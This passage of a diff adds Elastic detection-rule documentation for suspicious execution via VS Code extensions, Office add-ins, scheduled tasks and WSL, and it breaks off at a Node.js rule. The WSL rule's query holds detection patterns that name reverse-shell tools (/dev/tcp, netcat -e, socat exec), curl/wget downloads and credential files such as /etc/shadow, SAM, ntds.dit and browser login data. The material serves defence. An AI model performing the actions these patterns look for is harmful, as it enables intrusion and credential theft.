ScreenConnect RAT. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware +* https://attack.mitre.org/techniques/T1204/ +* https://attack.mitre.org/techniques/T1195/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from VS Code Extension* + + +Malicious VS Code extensions can use `activationEvents: ["onStartupFinished"]` to run as soon as the editor starts, then spawn scripts or download-and-execute payloads (e.g. weaponized ScreenConnect, batch/PowerShell downloaders). This rule flags process starts whose parent command line indicates execution from the extension host under `.vscode\extensions\` (or `/.vscode/extensions/`). + + +*Possible investigation steps* + + +- Identify the extension: from the parent process command line, extract the path under `.vscode\extensions\` to get the extension id (e.g. `publisher.name-version`). +- Check whether that extension is approved; search the VS Code marketplace (or internal registry) for the same name and compare hashes. +- Inspect the child process: if it is cmd/powershell/curl/node/rundll32/etc., review command line and network/file activity; if it is a recently created executable (e.g. Code.exe, Lightshot), check path (e.g. %TEMP%\Lightshot) and code signature. +- Correlate with network events (C2 domains, Dropbox/URL downloads) and with https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware[Fake Clawdbot VS Code Extension] IOCs if relevant. + + +*False positive analysis* + + +- Legitimate extensions that run scripts or tools (e.g. linters, formatters, task runners) can spawn cmd, node, or PowerShell. Tune by excluding known extension ids or by requiring additional conditions (e.g. outbound to unknown IPs). +- Extension development: running/debugging an extension from a workspace will spawn processes from `.vscode\extensions\`; consider excluding dev machines or specific parent paths. + + +*Response and remediation* + + +- Uninstall the suspicious extension and restart VS Code. +- If payload was executed: check for ScreenConnect (or similar) installation paths and services, remove persisted artifacts, block IOCs at firewall/DNS, rotate any API keys or secrets that may have been entered into the extension. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.action == "start" and + process.parent.name : ("node.exe", "Code.exe") and + process.parent.command_line != null and + process.parent.command_line : ("*vscode*extensions*", "*extensionHost*") and + ( + process.name : ( + "cmd.exe", "powershell.exe", "pwsh.exe", "rundll32.exe", "msiexec.exe", + "curl.exe", "bitsadmin.exe", "wscript.exe", "cscript.exe", "mshta.exe", + "node.exe" + ) or + + // recently dropped PE + process.Ext.relative_file_creation_time <= 500 + ) and + not (process.name : "cmd.exe" and process.args : ("npm.cmd config get prefix", "code -v", "chcp")) and + not (process.name : "python.exe" and process.parent.command_line : "*ms-python.vscode-*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-microsoft-office-add-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-microsoft-office-add-ins.asciidoc new file mode 100644 index 0000000000..ff4545c68e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-microsoft-office-add-ins.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-via-microsoft-office-add-ins]] +=== Suspicious Execution via Microsoft Office Add-Ins + +Identifies execution of common Microsoft Office applications to launch an Office Add-In from a suspicious path or with an unusual parent process. This may indicate an attempt to get initial access via a malicious phishing MS Office Add-In. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Octoberfest7/XLL_Phishing +* https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Microsoft Office Add-Ins* + + +Microsoft Office Add-Ins enhance productivity by integrating additional features into Office applications. However, adversaries can exploit this by embedding malicious code within add-ins, often delivered through phishing. The detection rule identifies unusual execution patterns, such as Office apps launching add-ins from suspicious paths or with atypical parent processes, signaling potential threats. It filters out known benign activities to minimize false positives, focusing on genuine anomalies indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the execution involves a Microsoft Office application launching an add-in from a suspicious path, as indicated by the process.name and process.args fields. +- Check the parent process name to determine if the Office application was launched by an unusual or potentially malicious parent process, such as cmd.exe or powershell.exe, using the process.parent.name field. +- Investigate the file path from which the add-in was executed to assess if it matches any of the suspicious paths listed in the query, such as the Temp or Downloads directories, using the process.args field. +- Examine the host's recent activity logs to identify any related events or patterns that might indicate a broader attack or compromise, focusing on the host.os.type and event.type fields. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user to determine if the execution is part of a phishing campaign, leveraging the MITRE ATT&CK tactic and technique information provided. +- Verify if the execution is a false positive by checking against the known benign activities excluded in the query, such as specific VSTOInstaller.exe paths or arguments, to rule out legitimate software installations or updates. + + +*False positive analysis* + + +- Logitech software installations can trigger false positives when VSTO files are executed by Logitech's PlugInInstallerUtility. To mitigate this, exclude processes with paths related to Logitech installations from the detection rule. +- The VSTOInstaller.exe process may be flagged when uninstalling applications. Exclude processes with the /Uninstall argument to prevent these false positives. +- Rundll32.exe executing with specific arguments related to MSI temporary files can be benign. Exclude these specific rundll32.exe executions to avoid false alerts. +- Sidekick.vsto installations from the specified URL can be legitimate. Exclude this specific VSTOInstaller.exe process with the Sidekick.vsto argument to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes identified by the detection rule, such as those involving unusual parent processes or originating from suspicious paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious add-ins or related malware. +- Review and clean up any unauthorized or suspicious Office add-ins from the affected applications to ensure no malicious code remains. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning alone. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities to enhance detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where + + host.os.type == "windows" and event.type == "start" and + + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "VSTOInstaller.exe") and + + process.args regex~ """.+\.(wll|xll|ppa|ppam|xla|xlam|vsto)""" and + + /* Office Add-In from suspicious paths */ + (process.args : + ("?:\\Users\\*\\Temp\\7z*", + "?:\\Users\\*\\Temp\\Rar$*", + "?:\\Users\\*\\Temp\\Temp?_*", + "?:\\Users\\*\\Temp\\BNZ.*", + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\AppData\\Roaming\\*", + "?:\\Users\\Public\\*", + "?:\\ProgramData\\*", + "?:\\Windows\\Temp\\*", + "\\Device\\*", + "http*") or + + process.parent.name : ("explorer.exe", "OpenWith.exe") or + + /* Office Add-In from suspicious parent */ + process.parent.name : ("cmd.exe", "powershell.exe")) and + + /* False Positives */ + not (process.args : "*.vsto" and + process.parent.executable : + ("?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptions\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility.exe", + "?:\\Program Files\\LogiOptionsPlus\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*\\VSTOInstaller.exe")) and + not (process.args : "/Uninstall" and process.name : "VSTOInstaller.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : "?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc") and + not (process.name : "VSTOInstaller.exe" and process.args : "https://dl.getsidekick.com/outlook/vsto/Sidekick.vsto") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-scheduled-task.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-scheduled-task.asciidoc new file mode 100644 index 0000000000..f49062df96 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-scheduled-task.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-via-scheduled-task]] +=== Suspicious Execution via Scheduled Task + +Identifies execution of a suspicious program via scheduled tasks by looking at process lineage and command line usage. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Scheduled Task* + + +Scheduled tasks in Windows automate routine tasks, but adversaries exploit them for persistence and execution of malicious programs. By examining process lineage and command line usage, the detection rule identifies suspicious executions initiated by scheduled tasks. It flags known malicious executables and unusual file paths, while excluding benign processes, to pinpoint potential threats effectively. + + +*Possible investigation steps* + + +- Review the process lineage to confirm the parent process is "svchost.exe" with arguments containing "Schedule" to verify the execution was initiated by a scheduled task. +- Examine the command line arguments and file paths of the suspicious process to identify any unusual or unauthorized file locations, such as those listed in the query (e.g., "C:\Users\*", "C:\ProgramData\*"). +- Check the original file name of the process against the list of known suspicious executables (e.g., "PowerShell.EXE", "Cmd.Exe") to determine if it matches any commonly abused binaries. +- Investigate the user context under which the process was executed, especially if it deviates from expected system accounts or known service accounts. +- Correlate the event with other security logs or alerts to identify any related suspicious activities or patterns that might indicate a broader attack campaign. +- Assess the risk and impact of the detected activity by considering the severity and risk score provided, and determine if immediate containment or remediation actions are necessary. + + +*False positive analysis* + + +- Scheduled tasks running legitimate scripts or executables like cmd.exe or cscript.exe in system directories may trigger false positives. To manage this, create exceptions for these processes when they are executed from known safe directories such as C:\Windows\System32. +- PowerShell scripts executed by the system account (S-1-5-18) for administrative tasks can be mistakenly flagged. Exclude these by specifying exceptions for PowerShell executions with arguments like -File or -PSConsoleFile when run by the system account. +- Legitimate software installations or updates using msiexec.exe by the system account may be incorrectly identified as threats. Mitigate this by excluding msiexec.exe processes initiated by the system account. +- Regular maintenance tasks or scripts stored in common directories like C:\ProgramData or C:\Windows\Temp might be flagged. Review these tasks and exclude known benign scripts or executables from these paths. +- Custom scripts or administrative tools that mimic suspicious executables (e.g., PowerShell.EXE, RUNDLL32.EXE) but are part of routine operations should be reviewed and excluded if verified as safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of any potential malicious activity. +- Terminate any suspicious processes identified by the detection rule, especially those matching the flagged executables and paths. +- Conduct a thorough review of scheduled tasks on the affected system to identify and disable any unauthorized or suspicious tasks. +- Remove any malicious files or executables found in the suspicious paths listed in the detection rule. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for scheduled tasks and the flagged executables to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* Schedule service cmdline on Win10+ */ + process.parent.name : "svchost.exe" and process.parent.args : "Schedule" and + /* add suspicious programs here */ + process.pe.original_file_name in + ( + "cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "Cmd.Exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "MSBuild.exe", + "InstallUtil.exe", + "RegAsm.exe", + "RegSvcs.exe", + "msxsl.exe", + "CONTROL.EXE", + "EXPLORER.EXE", + "Microsoft.Workflow.Compiler.exe", + "msiexec.exe" + ) and + /* add suspicious paths here */ + process.args : ( + "C:\\Users\\*", + "C:\\ProgramData\\*", + "C:\\Windows\\Temp\\*", + "C:\\Windows\\Tasks\\*", + "C:\\PerfLogs\\*", + "C:\\Intel\\*", + "C:\\Windows\\Debug\\*", + "C:\\HP\\*") and + + not (process.name : "cmd.exe" and process.args : ("*.bat", "*.cmd")) and + not (process.name : "cscript.exe" and process.args : "?:\\Windows\\system32\\calluxxprovider.vbs") and + not ( + process.name : "powershell.exe" and + process.args : ( + "-File", "-PSConsoleFile", + "C:\\ProgramData\\Microsoft\\AutopatchSetupScheduled\\SetupAutopatchClientV2Package.ps1", + "C:\\ProgramData\\Microsoft\\AutopatchSetupScheduled\\SetupAutopatchClientPackage.ps1", + "C:\\Windows\\Temp\\MSS\\MDESetup\\Invoke-MDESetup.ps1" + ) and user.id : "S-1-5-18" + ) and + not (process.name : "msiexec.exe" and user.id : "S-1-5-18") and + not (process.name : "powershell.exe" and + process.command_line : ("C:\\ProgramData\\ElasticAgent-HealthCheck.ps1", + "C:\\ProgramData\\ssh\\puttysetup.ps1")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..29e9eee841 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,238 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-via-windows-subsystem-for-linux]] +=== Suspicious Execution via Windows Subsystem for Linux + +Detects Linux Bash commands from the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.f-secure.com/hunting-for-windows-subsystem-for-linux/ +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/ +* https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute Linux commands stealthily, bypassing traditional Windows security measures. The detection rule identifies unusual WSL activity by monitoring specific executable paths, command-line arguments, and parent-child process relationships, flagging deviations from typical usage patterns to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process command line and executable path to determine if the execution of bash.exe or any other Linux binaries is expected or authorized for the user or system in question. +- Investigate the parent-child process relationship, especially focusing on whether wsl.exe is the parent process and if it has spawned any unexpected child processes that are not wslhost.exe. +- Examine the command-line arguments used with wsl.exe for any suspicious or unauthorized commands, such as accessing sensitive files like /etc/shadow or /etc/passwd, or using network tools like curl. +- Check the user's activity history and system logs to identify any patterns of behavior that might indicate misuse or compromise, particularly focusing on any deviations from typical usage patterns. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and determine if this is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Frequent use of WSL for legitimate development tasks may trigger alerts. Users can create exceptions for specific user accounts or directories commonly used for development to reduce noise. +- Automated scripts or tools that utilize WSL for system maintenance or monitoring might be flagged. Identify these scripts and whitelist their specific command-line patterns or parent processes. +- Docker-related processes may cause false positives due to their interaction with WSL. Exclude Docker executable paths from the detection rule to prevent unnecessary alerts. +- Visual Studio Code extensions that interact with WSL can generate alerts. Exclude known non-threatening extensions by specifying their command-line arguments in the exception list. +- Regular system updates or administrative tasks that involve WSL might be misidentified. Document these activities and adjust the detection rule to recognize them as benign. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, such as those involving bash.exe or wsl.exe with unusual command-line arguments. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify any unauthorized changes or installations. +- Remove any unauthorized or suspicious Linux binaries or scripts found within the WSL environment. +- Reset credentials for any accounts that may have been compromised, especially if sensitive files like /etc/shadow or /etc/passwd were accessed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for WSL activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + ( + ( + (process.executable : "?:\\Windows\\System32\\bash.exe" or ?process.pe.original_file_name == "Bash.exe") and + not process.command_line : ("bash", "bash.exe") + ) or + process.executable : "?:\\Users\\*\\AppData\\Local\\Packages\\*\\rootfs\\usr\\bin\\bash" or + ( + process.parent.name : "wsl.exe" and process.parent.command_line : "bash*" and not process.name : "wslhost.exe" + ) or + ( + process.name : "wsl.exe" and + ( + process.args : "--system" or + ( + process.args : "--manage" and process.args : "--set-default-user" and process.args : "root" + ) or + ( + (process.args : ("curl", "wget") and process.args : ("http://*", "https://*")) or + process.args : ("*curl*http://*", "*curl*https://*", "*wget*http://*", "*wget*https://*") + ) or + ( + ( + process.args like~ ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*") and + process.args like ("*&>*", "*<>*", "*>&*", "*<&*") + ) or + ( + process.args : ("nc", "netcat", "nc.traditional", "ncat", "*/nc", "*/netcat", "*/nc.traditional", "*/ncat") and + process.args : ("sh", "/bin/sh", "bash", "/bin/bash") and + process.args : ("-e", "--exec", "-c", "--sh-exec") + ) or + ( + process.args like~ "*socat*" and + process.args like~ ("*exec:*", "*system:*", "*shell:*") and + process.args like~ ("*tcp*", "*udp*", "*openssl*") + ) + ) or + ( + process.args : ("-e", "--exec") and + process.args : ( + "/mnt/c/*.exe", "/mnt/c/*.ps1", "/mnt/c/*.bat", "/mnt/c/*.cmd", "/mnt/c/*.vbs", "/mnt/c/*.js", + "/mnt/c/*.hta" + ) and + not process.args : "*wslpath*" + ) or + process.args : ( + "*/etc/passwd*", "*/etc/shadow*", "*/etc/sudoers*", "*/etc/sudoers.d/*", "*/root/.ssh/*", "*/home/*/.ssh/*", + "*/root/.aws/credentials*", "*/home/*/.aws/credentials*", "*/root/.kube/config*", "*/home/*/.kube/config*", + "*/mnt/c/Windows/System32/config/SAM*", + "*/mnt/c/Windows/System32/config/SECURITY*", + "*/mnt/c/Windows/System32/config/SYSTEM", "*/mnt/c/Windows/System32/config/SYSTEM.*", + "*/mnt/c/Windows/NTDS/ntds.dit*", + "*/mnt/c/Users/*/AppData/Roaming/Microsoft/Credentials/*", + "*/mnt/c/Users/*/AppData/Local/Microsoft/Credentials/*", + "*/mnt/c/Users/*/AppData/Roaming/Microsoft/Protect/*", + "*/mnt/c/Users/*/.ssh/*", + "*/mnt/c/Users/*/.aws/credentials", + "*/mnt/c/Users/*/.azure/*", + "*/mnt/c/Users/*/.config/gcloud/*", + "*/mnt/c/Users/*/AppData/Local/Google/Chrome/User Data/*/Login Data*", + "*/mnt/c/Users/*/AppData/Local/Microsoft/Edge/User Data/*/Login Data*" + ) + ) + ) + ) and + not process.parent.executable : ("?:\\Program Files\\Docker\\*.exe", "?:\\Program Files (x86)\\Docker\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-with-nodejs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-with-nodejs.asciidoc new file mode 100644 index 0000000000..9cbf5f5a53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-with-nodejs.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-with-nodejs]] +=== Suspicious Execution with NodeJS + +Identifies suspicious Node.js execution patterns, including PowerShell-launched module preloads and inline eval, decode, or 